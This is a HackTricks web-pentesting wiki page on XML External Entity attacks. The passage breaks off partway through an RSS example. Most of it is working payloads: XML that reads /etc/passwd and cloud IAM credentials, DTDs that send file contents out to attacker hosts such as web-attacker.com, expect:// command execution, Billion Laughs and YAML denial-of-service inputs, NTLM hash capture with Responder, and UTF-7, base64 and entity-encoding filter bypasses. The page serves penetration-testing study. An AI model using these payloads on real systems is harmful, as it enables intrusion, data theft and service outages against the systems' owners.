xxe-xee-xml-external-entity.md (45427B)
1 --- 2 title: "XXE - XEE - XML External Entity" 3 section: "Web Pentesting" 4 sectionSlug: "pentesting-web" 5 sourcePath: "src/pentesting-web/xxe-xee-xml-external-entity.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/xxe-xee-xml-external-entity.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # XXE - XEE - XML External Entity 14 15 ## XML Basics 16 17 XML is a markup language designed for data storage and transport, featuring a flexible structure that allows for the use of descriptively named tags. It differs from HTML by not being limited to a set of predefined tags. XML's significance has declined with the rise of JSON, despite its initial role in AJAX technology.<sup>[[2]](#references)</sup> 18 19 - **Data Representation through Entities**: Entities in XML enable the representation of data, including special characters like `<` and `>`, which correspond to `<` and `>` to avoid conflict with XML's tag system. 20 - **Defining XML Elements**: XML allows for the definition of element types, outlining how elements should be structured and what content they may contain, ranging from any type of content to specific child elements. 21 - **Document Type Definition (DTD)**: DTDs are crucial in XML for defining the document's structure and the types of data it can contain. They can be internal, external, or a combination, guiding how documents are formatted and validated. 22 - **Custom and External Entities**: XML supports the creation of custom entities within a DTD for flexible data representation. External entities, defined with a URL, raise security concerns, particularly in the context of XML External Entity (XXE) attacks, which exploit the way XML parsers handle external data sources: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>` 23 - **XXE Detection with Parameter Entities**: For detecting XXE vulnerabilities, especially when conventional methods fail due to parser security measures, XML parameter entities can be utilized. These entities allow for out-of-band detection techniques, such as triggering DNS lookups or HTTP requests to a controlled domain, to confirm the vulnerability. 24 - `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>` 25 - `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>` 26 27 ## Main attacks 28 29 [**Most of these attacks were tested using the awesome Portswiggers XEE labs: https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe)<sup>[[8]](#references)</sup> 30 31 ### New Entity test 32 33 In this attack I'm going to test if a simple new ENTITY declaration is working 34 35 ```xml 36 <?xml version="1.0" encoding="UTF-8"?> 37 <!DOCTYPE foo [<!ENTITY toreplace "3"> ]> 38 <stockCheck> 39 <productId>&toreplace;</productId> 40 <storeId>1</storeId> 41 </stockCheck> 42 ``` 43 44  45 46 ### Read file 47 48 Lets try to read `/etc/passwd` in different ways. For Windows you could try to read: `C:\windows\system32\drivers\etc\hosts` 49 50 In this first case notice that SYSTEM "_**file:///**etc/passwd_" will also work. 51 52 ```xml 53 <!--?xml version="1.0" ?--> 54 <!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]> 55 <data>&example;</data> 56 ``` 57 58  59 60 This second case should be useful to extract a file if the web server is using PHP (Not the case of Portswiggers labs) 61 62 ```xml 63 <!--?xml version="1.0" ?--> 64 <!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]> 65 <data>&example;</data> 66 ``` 67 68 In this third case notice we are declaring the `Element stockCheck` as ANY 69 70 ```xml 71 <?xml version="1.0" encoding="UTF-8"?> 72 <!DOCTYPE data [ 73 <!ELEMENT stockCheck ANY> 74 <!ENTITY file SYSTEM "file:///etc/passwd"> 75 ]> 76 <stockCheck> 77 <productId>&file;</productId> 78 <storeId>1</storeId> 79 </stockCheck3> 80 ``` 81 82  83 84 ### Directory listing 85 86 In **Java** based applications it might be possible to **list the contents of a directory** via XXE with a payload like (just asking for the directory instead of the file): 87 88 ```xml 89 <!-- Root / --> 90 <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///"><root><foo>&xxe;</foo></root> 91 92 <!-- /etc/ --> 93 <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///etc/" >]><root><foo>&xxe;</foo></root> 94 ``` 95 96 ### SSRF 97 98 An XXE could be used to abuse a SSRF inside a cloud 99 100 ```xml 101 <?xml version="1.0" encoding="UTF-8"?> 102 <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]> 103 <stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck> 104 ``` 105 106 ### Blind SSRF 107 108 Using the **previously commented technique** you can make the server access a server you control to show it's vulnerable. But, if that's not working, maybe is because **XML entities aren't allowed**, in that case you could try using **XML parameter entities**: 109 110 ```xml 111 <?xml version="1.0" encoding="UTF-8"?> 112 <!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]> 113 <stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck> 114 ``` 115 116 ### "Blind" SSRF - Exfiltrate data out-of-band 117 118 **In this occasion we are going to make the server load a new DTD with a malicious payload that will send the content of a file via HTTP request (for multi-line files you could try to ex-filtrate it via \_ftp://**\_ using this basic server for example [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). This explanation is based in** [**Portswiggers lab here**](https://portswigger.net/web-security/xxe/blind)**.**<sup>[[8]](#references)</sup> 119 120 In the given malicious DTD, a series of steps are conducted to exfiltrate data: 121 122 ### Malicious DTD Example: 123 124 The structure is as follows: 125 126 ```xml 127 <!ENTITY % file SYSTEM "file:///etc/hostname"> 128 <!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>"> 129 %eval; 130 %exfiltrate; 131 ``` 132 133 The steps executed by this DTD include: 134 135 1. **Definition of Parameter Entities:** 136 - An XML parameter entity, `%file`, is created, reading the content of the `/etc/hostname` file. 137 - Another XML parameter entity, `%eval`, is defined. It dynamically declares a new XML parameter entity, `%exfiltrate`. The `%exfiltrate` entity is set to make an HTTP request to the attacker's server, passing the content of the `%file` entity within the query string of the URL. 138 2. **Execution of Entities:** 139 - The `%eval` entity is utilized, leading to the execution of the dynamic declaration of the `%exfiltrate` entity. 140 - The `%exfiltrate` entity is then used, triggering an HTTP request to the specified URL with the file's contents. 141 142 The attacker hosts this malicious DTD on a server under their control, typically at a URL like `http://web-attacker.com/malicious.dtd`. 143 144 **XXE Payload:** To exploit a vulnerable application, the attacker sends an XXE payload: 145 146 ```xml 147 <?xml version="1.0" encoding="UTF-8"?> 148 <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]> 149 <stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck> 150 ``` 151 152 This payload defines an XML parameter entity `%xxe` and incorporates it within the DTD. When processed by an XML parser, this payload fetches the external DTD from the attacker's server. The parser then interprets the DTD inline, executing the steps outlined in the malicious DTD and leading to the exfiltration of the `/etc/hostname` file to the attacker's server. 153 154 ### Error Based(External DTD) 155 156 **In this case we are going to make the server loads a malicious DTD that will show the content of a file inside an error message (this is only valid if you can see error messages).** [**Example from here.**](https://portswigger.net/web-security/xxe/blind) 157 158 An XML parsing error message, revealing the contents of the `/etc/passwd` file, can be triggered using a malicious external Document Type Definition (DTD). This is accomplished through the following steps:<sup>[[6]](#references)</sup> 159 160 1. An XML parameter entity named `file` is defined, which contains the contents of the `/etc/passwd` file. 161 2. An XML parameter entity named `eval` is defined, incorporating a dynamic declaration for another XML parameter entity named `error`. This `error` entity, when evaluated, attempts to load a nonexistent file, incorporating the contents of the `file` entity as its name. 162 3. The `eval` entity is invoked, leading to the dynamic declaration of the `error` entity. 163 4. Invocation of the `error` entity results in an attempt to load a nonexistent file, producing an error message that includes the contents of the `/etc/passwd` file as part of the file name. 164 165 The malicious external DTD can be invoked with the following XML: 166 167 ```xml 168 <?xml version="1.0" encoding="UTF-8"?> 169 <!DOCTYPE stockCheck [<!ENTITY % error_dtd SYSTEM "http://web-attacker.com/error.dtd"> %error_dtd;]> 170 <stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck> 171 ``` 172 173 Upon execution, the web server's response should include an error message displaying the contents of the `/etc/passwd` file. 174 175  176 177 _**Please notice that external DTD allows us to include one entity inside the second `eval`), but it is prohibited in the internal DTD. Therefore, you can't force an error without using an external DTD (usually).**_ 178 179 ### **Error Based (system DTD)** 180 181 So what about blind XXE vulnerabilities when **out-of-band interactions are blocked** (external connections aren't available)? 182 183 A loophole in the XML language specification can **expose sensitive data through error messages when a document's DTD blends internal and external declarations**. This issue allows for the internal redefinition of entities declared externally, facilitating the execution of error-based XXE attacks. Such attacks exploit the redefinition of an XML parameter entity, originally declared in an external DTD, from within an internal DTD. When out-of-band connections are blocked by the server, attackers must rely on local DTD files to conduct the attack, aiming to induce a parsing error to reveal sensitive information.<sup>[[9]](#references)</sup> 184 185 Consider a scenario where the server's filesystem contains a DTD file at `/usr/local/app/schema.dtd`, defining an entity named `custom_entity`. An attacker can induce an XML parsing error revealing the contents of the `/etc/passwd` file by submitting a hybrid DTD as follows: 186 187 ```xml 188 <!DOCTYPE foo [ 189 <!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd"> 190 <!ENTITY % custom_entity ' 191 <!ENTITY % file SYSTEM "file:///etc/passwd"> 192 <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file'>"> 193 %eval; 194 %error; 195 '> 196 %local_dtd; 197 ]> 198 ``` 199 200 The outlined steps are executed by this DTD: 201 202 - The definition of an XML parameter entity named `local_dtd` includes the external DTD file located on the server's filesystem. 203 - A redefinition occurs for the `custom_entity` XML parameter entity, originally defined in the external DTD, to encapsulate an [error-based XXE exploit](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). This redefinition is designed to elicit a parsing error, exposing the contents of the `/etc/passwd` file. 204 - By employing the `local_dtd` entity, the external DTD is engaged, encompassing the newly defined `custom_entity`. This sequence of actions precipitates the emission of the error message aimed for by the exploit. 205 206 **Real world example:** Systems using the GNOME desktop environment often have a DTD at `/usr/share/yelp/dtd/docbookx.dtd` containing an entity called `ISOamso` 207 208 ```xml 209 <?xml version="1.0" encoding="UTF-8"?> 210 <!DOCTYPE foo [ 211 <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"> 212 <!ENTITY % ISOamso ' 213 <!ENTITY % file SYSTEM "file:///etc/passwd"> 214 <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>"> 215 %eval; 216 %error; 217 '> 218 %local_dtd; 219 ]> 220 <stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck> 221 ``` 222 223  224 225 As this technique uses an **internal DTD you need to find a valid one first**. You could do this **installing** the same **OS / Software** the server is using and **searching some default DTDs**, or **grabbing a list** of **default DTDs** inside systems and **check** if any of them exists: 226 227 ```xml 228 <!DOCTYPE foo [ 229 <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"> 230 %local_dtd; 231 ]> 232 ``` 233 234 For more information check [https://portswigger.net/web-security/xxe/blind](https://portswigger.net/web-security/xxe/blind) 235 236 ### Finding DTDs inside the system 237 238 In the following awesome github repo you can find **paths of DTDs that can be present in the system**: 239 240 241 [List](https%3A//github.com/GoSecure/dtd-finder/tree/master/list) 242 243 Moreover, if you have the **Docker image of the victim system**, you can use the tool of the same repo to **scan** the **image** and **find** the path of **DTDs** present inside the system. Read the [Readme of the github](https://github.com/GoSecure/dtd-finder) to learn how. 244 245 ```bash 246 java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar 247 248 Scanning TAR file /tmp/dadocker.tar 249 250 [=] Found a DTD: /tomcat/lib/jsp-api.jar!/jakarta/servlet/jsp/resources/jspxml.dtd 251 Testing 0 entities : [] 252 253 [=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd 254 Testing 0 entities : [] 255 ``` 256 257 ### XXE via Office Open XML Parsers 258 259 Office Open XML formats are ZIP archives containing XML parts. A real PhpSpreadsheet advisory demonstrates that placing an external-entity declaration in an XLSX part such as `xl/sharedStrings.xml` can trigger XXE when the server extracts and parses the workbook.<sup>[[15]](#references)</sup> A dedicated OOXML lab provides additional attack context and worked DOCX/XLSX examples.<sup>[[19]](#references)</sup> 260 261 The ability to **upload Microsoft Office documents is offered by many web applications**, which then proceed to extract certain details from these documents. For instance, a web application may allow users to import data by uploading an XLSX format spreadsheet. In order for the parser to extract the data from the spreadsheet, it will inevitably need to parse at least one XML file. 262 263 To test for this vulnerability, it is necessary to create a **Microsoft Office file containing an XXE payload**. The first step is to create an empty directory to which the document can be unzipped. 264 265 Once the document has been unzipped, the XML file located at `./unzipped/word/document.xml` should be opened and edited in a preferred text editor (such as vim). The XML should be modified to include the desired XXE payload, often starting with an HTTP request. 266 267 The modified XML lines should be inserted between the two root XML objects. It is important to replace the URL with a monitorable URL for requests. 268 269 Finally, the file can be zipped up to create the malicious poc.docx file. From the previously created "unzipped" directory, the following command should be run: 270 271 Now, the created file can be uploaded to the potentially vulnerable web application, and one can hope for a request to appear in the Burp Collaborator logs. 272 273 ### Jar: protocol 274 275 The **jar** protocol is made accessible exclusively within **Java applications**. It is designed to enable file access within a **PKZIP** archive (e.g., `.zip`, `.jar`, etc.), catering to both local and remote files.<sup>[[9]](#references)</sup> 276 277 ```text 278 jar:file:///var/myarchive.zip!/file.txt 279 jar:https://download.host.com/myarchive.zip!/file.txt 280 ``` 281 282 > [!CAUTION] 283 > To be able to access files inside PKZIP files is **super useful to abuse XXE via system DTD files.** Check [this section to learn how to abuse system DTD files](/hacktricks/pentesting-web/xxe-xee-xml-external-entity#error-based-system-dtd). 284 285 The process behind accessing a file within a PKZIP archive via the jar protocol involves several steps: 286 287 1. An HTTP request is made to download the zip archive from a specified location, such as `https://download.website.com/archive.zip`. 288 2. The HTTP response containing the archive is stored temporarily on the system, typically in a location like `/tmp/...`. 289 3. The archive is then extracted to access its contents. 290 4. The specific file within the archive, `file.zip`, is read. 291 5. After the operation, any temporary files created during this process are deleted. 292 293 An interesting technique to interrupt this process at the second step involves keeping the server connection open indefinitely when serving the archive file. Tools available at [this repository](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) can be utilized for this purpose, including a Python server (`slow_http_server.py`) and a Java server (`slowserver.jar`). 294 295 ```xml 296 <!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]> 297 <foo>&xxe;</foo> 298 ``` 299 300 > [!CAUTION] 301 > Writing files in a temporary directory can help to **escalate another vulnerability that involves a path traversal** (such as local file include, template injection, XSLT RCE, deserialization, etc). 302 303 ### XSS 304 305 ```xml 306 <![CDATA[<]]>script<![CDATA[>]]>alert(1)<![CDATA[<]]>/script<![CDATA[>]]> 307 ``` 308 309 ### DoS 310 311 #### Billion Laugh Attack 312 313 ```xml 314 <!DOCTYPE data [ 315 <!ENTITY a0 "dos" > 316 <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;"> 317 <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;"> 318 <!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;"> 319 <!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;"> 320 ]> 321 <data>&a4;</data> 322 ``` 323 324 #### Yaml Attack 325 326 ```xml 327 a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"] 328 b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a] 329 c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b] 330 d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c] 331 e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d] 332 f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e] 333 g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f] 334 h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g] 335 i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h] 336 ``` 337 338 #### Quadratic Blowup Attack 339 340  341 342 #### Getting NTML 343 344 On Windows hosts it is possible to get the NTML hash of the web server user by setting a responder.py handler: 345 346 ```bash 347 Responder.py -I eth0 -v 348 ``` 349 350 and by sending the following request 351 352 ```xml 353 <!--?xml version="1.0" ?--> 354 <!DOCTYPE foo [<!ENTITY example SYSTEM 'file://///attackerIp//randomDir/random.jpg'> ]> 355 <data>&example;</data> 356 ``` 357 358 Then you can try to crack the hash using hashcat 359 360 ## Hidden XXE Surfaces 361 362 ### XInclude 363 364 When integrating client data into server-side XML documents, like those in backend SOAP requests, direct control over the XML structure is often limited, hindering traditional XXE attacks due to restrictions on modifying the `DOCTYPE` element. However, an `XInclude` attack provides a solution by allowing the insertion of external entities within any data element of the XML document. This method is effective even when only a portion of the data within a server-generated XML document can be controlled. 365 366 To execute an `XInclude` attack, the `XInclude` namespace must be declared, and the file path for the intended external entity must be specified. Below is a succinct example of how such an attack can be formulated: 367 368 ```xml 369 productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1 370 ``` 371 372 Check [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) for more info!<sup>[[8]](#references)</sup> 373 374 ### SVG - File Upload 375 376 Files uploaded by users to certain applications, which are then processed on the server, can exploit vulnerabilities in how XML or XML-containing file formats are handled. Common file formats like office documents (DOCX) and images (SVG) are based on XML. 377 378 When users **upload images**, these images are processed or validated server-side. Even for applications expecting formats such as PNG or JPEG, the **server's image processing library might also support SVG images**. SVG, being an XML-based format, can be exploited by attackers to submit malicious SVG images, thereby exposing the server to XXE (XML External Entity) vulnerabilities. 379 380 An example of such an exploit is shown below, where a malicious SVG image attempts to read system files: 381 382 ```xml 383 <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg> 384 ``` 385 386 Another method involves attempting to **execute commands** through the PHP "expect" wrapper: 387 388 ```xml 389 <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"> 390 <image xlink:href="expect://ls"></image> 391 </svg> 392 ``` 393 394 In both instances, the SVG format is used to launch attacks that exploit the XML processing capabilities of the server's software, highlighting the need for robust input validation and security measures. 395 396 Check [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) for more info!<sup>[[8]](#references)</sup> 397 398 **Note the first line of the read file or of the result of the execution will appear INSIDE the created image. So you need to be able to access the image SVG has created.** 399 400 ### **PDF - File upload** 401 402 Read the following post to **learn how to exploit a XXE uploading a PDF** file: 403 404 405 [Pdf Upload Xxe And Cors Bypass](/hacktricks/pentesting-web/file-upload/pdf-upload-xxe-and-cors-bypass) 406 407 ### Content-Type: From x-www-urlencoded to XML 408 409 If a POST request accepts the data in XML format, you could try to exploit a XXE in that request. For example, if a normal request contains the following:<sup>[[7]](#references)</sup> 410 411 ```xml 412 POST /action HTTP/1.0 413 Content-Type: application/x-www-form-urlencoded 414 Content-Length: 7 415 416 foo=bar 417 ``` 418 419 Then you might be able submit the following request, with the same result: 420 421 ```xml 422 POST /action HTTP/1.0 423 Content-Type: text/xml 424 Content-Length: 52 425 426 <?xml version="1.0" encoding="UTF-8"?><foo>bar</foo> 427 ``` 428 429 ### Content-Type: From JSON to XEE 430 431 To change the request you could use a Burp Extension named “**Content Type Converter**“. [Here](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) you can find this example: 432 433 ```xml 434 Content-Type: application/json;charset=UTF-8 435 436 {"root": {"root": { 437 "firstName": "Avinash", 438 "lastName": "", 439 "country": "United States", 440 "city": "ddd", 441 "postalCode": "ddd" 442 }}} 443 ``` 444 445 ```xml 446 Content-Type: application/xml;charset=UTF-8 447 448 <?xml version="1.0" encoding="UTF-8" standalone="no"?> 449 <!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM "http://34.229.92.127:8000/TEST.ext" >]> 450 <root> 451 <root> 452 <firstName>&xxe;</firstName> 453 <lastName/> 454 <country>United States</country> 455 <city>ddd</city> 456 <postalCode>ddd</postalCode> 457 </root> 458 </root> 459 ``` 460 461 Another example can be found [here](https://medium.com/hmif-itb/googlectf-2019-web-bnv-writeup-nicholas-rianto-putra-medium-b8e2d86d78b2).<sup>[[18]](#references)</sup> 462 463 ## WAF & Protections Bypasses 464 465 ### Base64 466 467 ```xml 468 <!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/> 469 ``` 470 471 This only work if the XML server accepts the `data://` protocol.<sup>[[3]](#references)</sup> 472 473 ### UTF-7 474 475 You can use the \[**"Encode Recipe**" of cyberchef here ]\(\[[https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) transform to UTF-7. 476 477 ```xml 478 <!xml version="1.0" encoding="UTF-7"?--> 479 +ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4- 480 ``` 481 482 ```xml 483 <?xml version="1.0" encoding="UTF-7"?> 484 +ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4 485 +ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+ 486 +ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4 487 ``` 488 489 ### File:/ Protocol Bypass 490 491 If the web is using PHP, instead of using `file:/` you can use **php wrappers**`php://filter/convert.base64-encode/resource=` to **access internal files**.<sup>[[5]](#references)</sup> 492 493 If the web is using Java you may check the [**jar: protocol**](/hacktricks/pentesting-web/xxe-xee-xml-external-entity#jar-protocol). 494 495 ### HTML Entities 496 497 Trick from [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)\ 498 You can create an **entity inside an entity** encoding it with **html entities** and then call it to **load a dtd**.\ 499 Note that the **HTML Entities** used needs to be **numeric** (like \[in this example]\([https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](<https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,%27Numeric%20entities%27%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)%5C>)). 500 501 ```xml 502 <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "<!ENTITY%dtdSYSTEM"http://ourserver.com/bypass.dtd">" >%a;%dtd;]> 503 <data> 504 <env>&exfil;</env> 505 </data> 506 ``` 507 508 DTD example: 509 510 ```xml 511 <!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag"> 512 <!ENTITY % abt "<!ENTITY exfil SYSTEM 'http://172.17.0.1:7878/bypass.xml?%data;'>"> 513 %abt; 514 %exfil; 515 ``` 516 517 ## PHP Wrappers 518 519 ### Base64 520 521 **Extract** _**index.php**_ 522 523 ```xml 524 <!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]> 525 ``` 526 527 #### **Extract external resource** 528 529 ```xml 530 <!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3"> ]> 531 ``` 532 533 ### Remote code execution 534 535 **If PHP "expect" module is loaded** 536 537 ```xml 538 <?xml version="1.0" encoding="ISO-8859-1"?> 539 <!DOCTYPE foo [ <!ELEMENT foo ANY > 540 <!ENTITY xxe SYSTEM "expect://id" >]> 541 <creds> 542 <user>&xxe;</user> 543 <pass>mypass</pass> 544 </creds> 545 ``` 546 547 ## **SOAP - XEE** 548 549 ```xml 550 <soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body> 551 ``` 552 553 ## XLIFF - XXE 554 555 This example is inspired in [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)<sup>[[16]](#references)</sup> 556 557 XLIFF (XML Localization Interchange File Format) is utilized to standardize data exchange in localization processes. It's an XML-based format primarily used for transferring localizable data among tools during localization and as a common exchange format for CAT (Computer-Aided Translation) tools. 558 559 ### Blind Request Analysis 560 561 A request is made to the server with the following content: 562 563 ```xml 564 ------WebKitFormBoundaryqBdAsEtYaBjTArl3 565 Content-Disposition: form-data; name="file"; filename="xxe.xliff" 566 Content-Type: application/x-xliff+xml 567 568 <?xml version="1.0" encoding="UTF-8"?> 569 <!DOCTYPE XXE [ 570 <!ENTITY % remote SYSTEM "http://redacted.burpcollaborator.net/?xxe_test"> %remote; ]> 571 <xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff> 572 ------WebKitFormBoundaryqBdAsEtYaBjTArl3-- 573 ``` 574 575 However, this request triggers an internal server error, specifically mentioning a problem with the markup declarations: 576 577 ```json 578 { 579 "status": 500, 580 "error": "Internal Server Error", 581 "message": "Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed." 582 } 583 ``` 584 585 Despite the error, a hit is recorded on Burp Collaborator, indicating some level of interaction with the external entity. 586 587 Out of Band Data Exfiltration To exfiltrate data, a modified request is sent: 588 589 ```text 590 ------WebKitFormBoundaryqBdAsEtYaBjTArl3 591 Content-Disposition: form-data; name="file"; filename="xxe.xliff" 592 Content-Type: application/x-xliff+xml 593 594 <?xml version="1.0" encoding="UTF-8"?> 595 <!DOCTYPE XXE [ 596 <!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote; ]> 597 <xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff> 598 ------WebKitFormBoundaryqBdAsEtYaBjTArl3-- 599 ``` 600 601 This approach reveals that the User Agent indicates the use of Java 1.8. A noted limitation with this version of Java is the inability to retrieve files containing a newline character, such as /etc/passwd, using the Out of Band technique. 602 603 Error-Based Data Exfiltration To overcome this limitation, an Error-Based approach is employed. The DTD file is structured as follows to trigger an error that includes data from a target file: 604 605 ```xml 606 <!ENTITY % data SYSTEM "file:///etc/passwd"> 607 <!ENTITY % foo "<!ENTITY % xxe SYSTEM 'file:///nofile/'>"> 608 %foo; 609 %xxe; 610 ``` 611 612 The server responds with an error, importantly reflecting the non-existent file, indicating that the server is attempting to access the specified file: 613 614 ```javascript 615 {"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"} 616 ``` 617 618 To include the file's content in the error message, the DTD file is adjusted: 619 620 ```xml 621 <!ENTITY % data SYSTEM "file:///etc/passwd"> 622 <!ENTITY % foo "<!ENTITY % xxe SYSTEM 'file:///nofile/%data;'>"> 623 %foo; 624 %xxe; 625 ``` 626 627 This modification leads to the successful exfiltration of the file's content, as it is reflected in the error output sent via HTTP. This indicates a successful XXE (XML External Entity) attack, leveraging both Out of Band and Error-Based techniques to extract sensitive information. 628 629 ## RSS - XEE 630 631 Valid XML with RSS format to exploit an XXE vulnerability.<sup>[[4]](#references)</sup> 632 633 ### Ping back 634 635 Simple HTTP request to attackers server 636 637 ```xml 638 <?xml version="1.0" encoding="UTF-8"?> 639 <!DOCTYPE title [ <!ELEMENT title ANY > 640 <!ENTITY xxe SYSTEM "http://<AttackIP>/rssXXE" >]> 641 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"> 642 <channel> 643 <title>XXE Test Blog</title> 644 <link>http://example.com/</link> 645 <description>XXE Test 